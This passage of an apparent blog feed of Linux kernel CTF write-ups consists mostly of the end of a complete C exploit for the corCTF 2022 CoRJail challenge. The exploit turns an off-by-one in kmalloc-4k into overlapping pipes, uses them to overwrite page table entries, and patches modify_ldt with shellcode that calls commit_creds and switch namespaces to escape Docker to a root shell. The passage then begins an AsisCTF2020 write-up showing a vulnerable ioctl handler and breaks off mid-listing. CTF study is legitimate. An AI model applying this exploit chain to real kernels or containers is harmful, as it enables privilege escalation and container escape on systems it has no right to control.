    sys_add_key(type, desc, NULL, 0, 0);
    const size_t t2 = rdtsc_end();
    times[i] = t2 - t1;
    if (pipe_res &amp;lt; 0) {
      break;
    }
    ++pipe_cnt;

    if (times[i] &amp;gt; 8000 &amp;amp;&amp;amp; (i == 0 || times[i] - times[i - 1] &amp;gt; 1500)) {
      if (last == 0) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else if (i - last == 8) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else {
        last = 0;
        running = 0;
      }

      if (running == slab_cnt) {
        for (int j = 0; j &amp;lt; 8 &amp;amp;&amp;amp; (i + j + 1 - last) % 8 != 0; ++j) {
          alloc_4k_pipe_at(i + j + 1);
          ++pipe_cnt;
        }
        finded = 1;
        break;
      }
    }
  }
  return finded ? 0 : -1;
}

size_t victim_pipe_fds[2];
int find_overlapped_pipes() {
  char buf[0x20];
  uint64_t *uint64_buf = (uint64_t *)buf;
  for (size_t i = 0; i &amp;lt; pipe_cnt; ++i) {
    read(pipe_fds[i][0], buf, 0x10);
    int is_ok = (memcmp(buf, &amp;#34;UNIGURI@&amp;#34;, 8) == 0 &amp;amp;&amp;amp;
                 (uint64_buf[1] &amp;gt;&amp;gt; 32) == 0xdeadbeef);
    int is_corrupted = (uint64_buf[1] == 0xdeadbeef00000000 + i);
    if (is_ok &amp;amp;&amp;amp; !is_corrupted) {
      victim_pipe_fds[0] = i;
      victim_pipe_fds[1] = uint64_buf[1] &amp;amp; 0xffffffff;
      return 0;
    }
    if (!is_ok) {
      return -1;
    }
  }

  return -1;
}

int test_overlapped_pipes() {
  char tmp[0x100];
  memset(tmp, 0, sizeof(tmp));
  const char *test_str = &amp;#34;UNIGURI!&amp;#34;;
  const size_t test_str_len = strlen(test_str);
  printf(&amp;#34;    [*] Test msg(len=0x%lx): \&amp;#34;%s\&amp;#34;\n&amp;#34;, test_str_len, test_str);

  write(pipe_fds[victim_pipe_fds[1]][1], tmp, test_str_len);

  strncpy(tmp, test_str, sizeof(tmp));
  printf(&amp;#34;    [*] Write \&amp;#34;%s\&amp;#34; to pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[0]);
  write(pipe_fds[victim_pipe_fds[0]][1], tmp, test_str_len);

  memset(tmp, 0, sizeof(tmp));
  read(pipe_fds[victim_pipe_fds[1]][0], tmp, test_str_len);
  printf(&amp;#34;    [*] Read \&amp;#34;%s\&amp;#34; from pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[1]);

  const int successed = !memcmp(test_str, tmp, test_str_len) ? 0 : -1;
  read(pipe_fds[victim_pipe_fds[0]][0], tmp, test_str_len);
  return successed;
}

#define MMAP_SPRAY_COUNT 0x1000UL
#define FILE_SPRAY_COUNT (MMAP_SPRAY_COUNT / 0x10)
void *mmap_addrs[MMAP_SPRAY_COUNT];
#define MMAP_SPRAT_START_ADDR 0xcafe0000UL
#define MMAP_PAGE_SIZE 0x1000UL
#define MMAP_SPRAT_STEP 0x10000UL
#define MMAP_SPRAT_SIZE 0x10000UL
void spray_ptes_target_to_victim_pipe_page() {
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                         MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    if (mmap_addrs[i] == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
  }

  int file_fds[FILE_SPRAY_COUNT];

  sched_yield();
  close_pipe_at(victim_pipe_fds[1]);

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    file_fds[i] = open(&amp;#34;/&amp;#34;, O_RDONLY);
    if (file_fds[i] &amp;lt; 0) {
      fatal(&amp;#34;open&amp;#34;);
    }
  }

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    close(file_fds[i]);
  }

  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      *addr = val;
    }
  }
}

void *corrupted_mmap_addr = (void *)-1;
void find_corrupted_mmap_addr() {
  if (corrupted_mmap_addr != (void *)-1) {
    return;
  }
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      if (*addr != val) {
        corrupted_mmap_addr = addr;
        return;
      }
    }
  }
}

uint64_t original_ptes[0x1000 / 8];
uint64_t physical_kernel_base;
uint64_t default_pte_for_kernel_code;

void *set_pte(uint64_t new_pte) {
  static uint64_t cur_offset = 0;
  if (cur_offset &amp;gt;= 0x1000 * 512) {
    fatal(&amp;#34;set_pte: too many modifications&amp;#34;);
  }
  write(pipe_fds[victim_pipe_fds[0]][1], &amp;amp;new_pte, 8);
  if (corrupted_mmap_addr == (void *)-1) {
    find_corrupted_mmap_addr();
  }
  void *affected_addr = corrupted_mmap_addr + cur_offset;
  cur_offset += 0x1000;
  return affected_addr;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

#define MODIFY_LDT_ADDR 0xffffffff810252f0
#define MODIFY_LDT_OFFSET (MODIFY_LDT_ADDR - KERNEL_BASE_START)
uint64_t *modify_ldt_addr;
uint8_t original_modify_ldt_code[0x1000];
static void get_shell() {
  puts(&amp;#34;[+] Escaping docker is success&amp;#34;);
  puts(&amp;#34;    [*] Restore original modify_ldt code&amp;#34;);
  memcpy(modify_ldt_addr, original_modify_ldt_code,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));

  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char *argv[] = {&amp;#34;/bin/bash&amp;#34;, NULL};
  char *envp[] = {NULL};
  execve(&amp;#34;/bin/bash&amp;#34;, argv, envp);
}
void patch_modify_ldt() {
  const uint64_t pte_for_modify_ldt =
      default_pte_for_kernel_code + (MODIFY_LDT_OFFSET &amp;amp; ~(0xFFF));
  modify_ldt_addr =
      (uint64_t *)(set_pte(pte_for_modify_ldt) + (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  /*
   * Below opcodes are from:
   * call get_rip;
   * get_rip:
   *   pop r15;
   *   sub r15, 0x252f0; // &amp;amp;__x64_sys_modify_ldt - kbase == 0x252f0
   *   sub r15, 5; // call get_rip; takes 5 bytes
   *
   *   // call commit_creds(&amp;amp;init_cred);
   *   lea rdi, [r15 + 0x145a960]; // &amp;amp;init_cred - kbase == 0x145a960
   *   lea rax, [r15 + 0xeba40]; // &amp;amp;commit_creds - kbase == 0xeba40
   *   call rax;
   *
   *   // task = find_task_by_vpid(1);
   *   // call switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *   mov rdi, 1;
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // find_task_by_vpid(1)
   *   mov rdi, rax; // task
   *   lea rsi, [r15 + 0x145a720]; // &amp;amp;init_nsproxy - kbase == 0x145a720
   *   lea rax, [r15 + 0xea4e0]; // &amp;amp;switch_task_namespaces - kbase == 0xea4e0
   *   call rax; // switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *
   *   // current = find_task_by_vpid(pid);
   *   // current-&amp;gt;fs = copy_fs_struct(&amp;amp;init_fs);
   *   lea rdi, [r15 + 0x1589740]; // &amp;amp;init_fs - kbase == 0x1589740
   *   lea rax, [r15 + 0x2e7350]; // &amp;amp;copy_fs_struct - kbase == 0x2e7350
   *   call rax; // copy_fs_struct(&amp;amp;init_fs);
   *   mov rbx, rax; // new_fs
   *   mov rdi, 0x1111111111111111; // pid: will be fiexed
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // current = find_task_by_vpid(pid)
   *   mov [rax + 0x6e0], rbx; // current-&amp;gt;fs = new_fs
   *
   *   // bypass kpti
   *   xor rax, rax;
   *   mov [rsp + 0x00], rax;
   *   mov [rsp + 0x08], rax;
   *   mov rax, 0x2222222222222222; // user_ip: will be fixed
   *   mov [rsp + 0x10], rax;
   *   mov rax, 0x3333333333333333; // user_cs: will be fixed
   *   mov [rsp + 0x18], rax;
   *   mov rax, 0x4444444444444444; // user_rflags: will be fixed
   *   mov [rsp + 0x20], rax;
   *   mov rax, 0x5555555555555555; // user_sp: will be fixed
   *   mov [rsp + 0x28], rax;
   *   mov rax, 0x6666666666666666; // user_ss: will be fixed
   *   mov [rsp + 0x30], rax;
   *   lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06
   *   jmp rax; // bypass_kpti
   */
  uint8_t new_modify_ldt_code[] = {
      0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x49, 0x81, 0xEF, 0xF0, 0x52,
      0x02, 0x00, 0x49, 0x83, 0xEF, 0x05, 0x49, 0x8D, 0xBF, 0x60, 0xA9, 0x45,
      0x01, 0x49, 0x8D, 0x87, 0x40, 0xBA, 0x0E, 0x00, 0xFF, 0xD0, 0x48, 0xC7,
      0xC7, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00,
      0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x49, 0x8D, 0xB7, 0x20, 0xA7, 0x45, 0x01,
      0x49, 0x8D, 0x87, 0xE0, 0xA4, 0x0E, 0x00, 0xFF, 0xD0, 0x49, 0x8D, 0xBF,
      0x40, 0x97, 0x58, 0x01, 0x49, 0x8D, 0x87, 0x50, 0x73, 0x2E, 0x00, 0xFF,
      0xD0, 0x48, 0x89, 0xC3, 0x48, 0xBF, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
      0x11, 0x11, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00, 0xFF, 0xD0, 0x48,
      0x89, 0x98, 0xE0, 0x06, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x89, 0x04,
      0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xB8, 0x22, 0x22, 0x22, 0x22,
      0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xB8, 0x33,
      0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18,
      0x48, 0xB8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
      0x44, 0x24, 0x20, 0x48, 0xB8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
      0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xB8, 0x66, 0x66, 0x66, 0x66,
      0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8D, 0x87,
      0x06, 0x0F, 0xC0, 0x00, 0xFF, 0xE0};

  uint64_t *ptr;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x11\x11\x11\x11\x11\x11\x11\x11&amp;#34;, 8);
  *ptr = getpid();
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x22\x22\x22\x22\x22\x22\x22\x22&amp;#34;, 8);
  *ptr = (uint64_t)get_shell;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x33\x33\x33\x33\x33\x33\x33\x33&amp;#34;, 8);
  *ptr = user_cs;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x44\x44\x44\x44\x44\x44\x44\x44&amp;#34;, 8);
  *ptr = user_rflags;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x55\x55\x55\x55\x55\x55\x55\x55&amp;#34;, 8);
  *ptr = user_sp;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x66\x66\x66\x66\x66\x66\x66\x66&amp;#34;, 8);
  *ptr = user_ss;

  memcpy(original_modify_ldt_code, modify_ldt_addr,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  memcpy(modify_ldt_addr, new_modify_ldt_code, sizeof(new_modify_ldt_code));
}

#define SLAB_COUNT 7

int main() {
  pin_to_core(0);
  save_state();
  vuln_fd = open(&amp;#34;/proc_rw/cormon&amp;#34;, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open&amp;#34;);
  }
  void *tmpbuf = malloc(0x1000);
  uint64_t *uint64_tmpbuf = (uint64_t *)tmpbuf;

FIRST_STEP:
#define RETRY()                                            \
  do {                                                     \
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {                   \
      close_pipe_at(i);                                    \
    }                                                      \
    sched_yield();                                         \
    puts(&amp;#34;\n[*] Retry from first step after 1 seconds\n&amp;#34;); \
    sleep(1);                                              \
    goto FIRST_STEP;                                       \
  } while (0)

  puts(&amp;#34;[*] Do side-channel for kmalloc-4k slab...&amp;#34;);
  while (make_kmalloc_4k_slab_full(SLAB_COUNT) &amp;lt; 0) {
    puts(&amp;#34;    [*] Retry side-channel for kmalloc-4k slab...&amp;#34;);
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {
      close_pipe_at(i);
    }
    sched_yield();
  }
  puts(&amp;#34;    [+] Side-channel success&amp;#34;);

  const size_t target_pipe_idx = SLAB_COUNT * 4 + 4;
  puts(&amp;#34;[*] Trigger off-by-one...&amp;#34;);
  sched_yield();
  close_pipe_at(target_pipe_idx);
  off_by_one_in_kmalloc_4k();
  alloc_4k_pipe_at(target_pipe_idx);
  sched_yield();

  puts(&amp;#34;[*] Finding overlapped pipes...&amp;#34;);
  if (find_overlapped_pipes()) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] pipe @ %lx and pipe @ %lx are overlapped!\n&amp;#34;,
         victim_pipe_fds[0], victim_pipe_fds[1]);

  puts(&amp;#34;[*] Test overlapped pipes&amp;#34;);
  if (test_overlapped_pipes() &amp;lt; 0) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  puts(&amp;#34;    [+] Overlapping is true&amp;#34;);

  puts(&amp;#34;[*] Set pipe&amp;#39;s offset to 0x1000 for reading PTEs&amp;#34;);
  write(pipe_fds[victim_pipe_fds[0]][1], original_ptes, 0x1000);

  puts(&amp;#34;[*] Spray PTEs...&amp;#34;);
  spray_ptes_target_to_victim_pipe_page();

  puts(&amp;#34;[*] Read PTEs&amp;#34;);
  read(pipe_fds[victim_pipe_fds[0]][0], original_ptes, 0x1000);
  if ((original_ptes[0] &amp;amp; PTE_FLAGS_MASK) != 0x8000000000000867) {
    puts(&amp;#34;    [-] UAF page does not contain PTEs&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] UAF page contains PTEs (One of them is 0x%016lx)\n&amp;#34;,
         original_ptes[0]);

  puts(&amp;#34;[*] Overwrite PTE to leak physical kernel base&amp;#34;);
  const uint64_t new_pte_for_dmabuf =
      PAGE_DEFAULT_FLAGS | 0x9c000;  // dmabuf..? WTF?!
  uint64_t *dmabuf_addr = (uint64_t *)set_pte(new_pte_for_dmabuf);

  find_corrupted_mmap_addr();
  if (corrupted_mmap_addr == (void *)-1) {
    puts(&amp;#34;    [-] Corrupted mmap addr not found&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] Corrupted mmap addr: %p\n&amp;#34;, corrupted_mmap_addr);
  physical_kernel_base = (*dmabuf_addr &amp;amp; PTE_PFN_MASK) - 0x2004000ULL;
  printf(&amp;#34;    [+] physical kernel base: 0x%016lx\n&amp;#34;, physical_kernel_base);
  default_pte_for_kernel_code = physical_kernel_base | PAGE_DEFAULT_FLAGS;

  puts(&amp;#34;[*] Escaping docker...&amp;#34;);
  puts(&amp;#34;    [*] Patch modify_ldt&amp;#34;);
  patch_modify_ldt();
  puts(&amp;#34;    [*] Call patched modify_ldt...&amp;#34;);
  syscall(SYS_modify_ldt);
  puts(&amp;#34;    [-] Failed to Escaping docker&amp;#34;);

  get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&#34;&gt;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/isec-tugraz/SLUBStick&#34;&gt;https://github.com/isec-tugraz/SLUBStick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Lotuhu/Page-UAF&#34;&gt;https://github.com/Lotuhu/Page-UAF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>AsisCTF2020Qual shared_house</title>
      <link>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</link>
      <pubDate>Thu, 27 Feb 2025 12:17:57 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
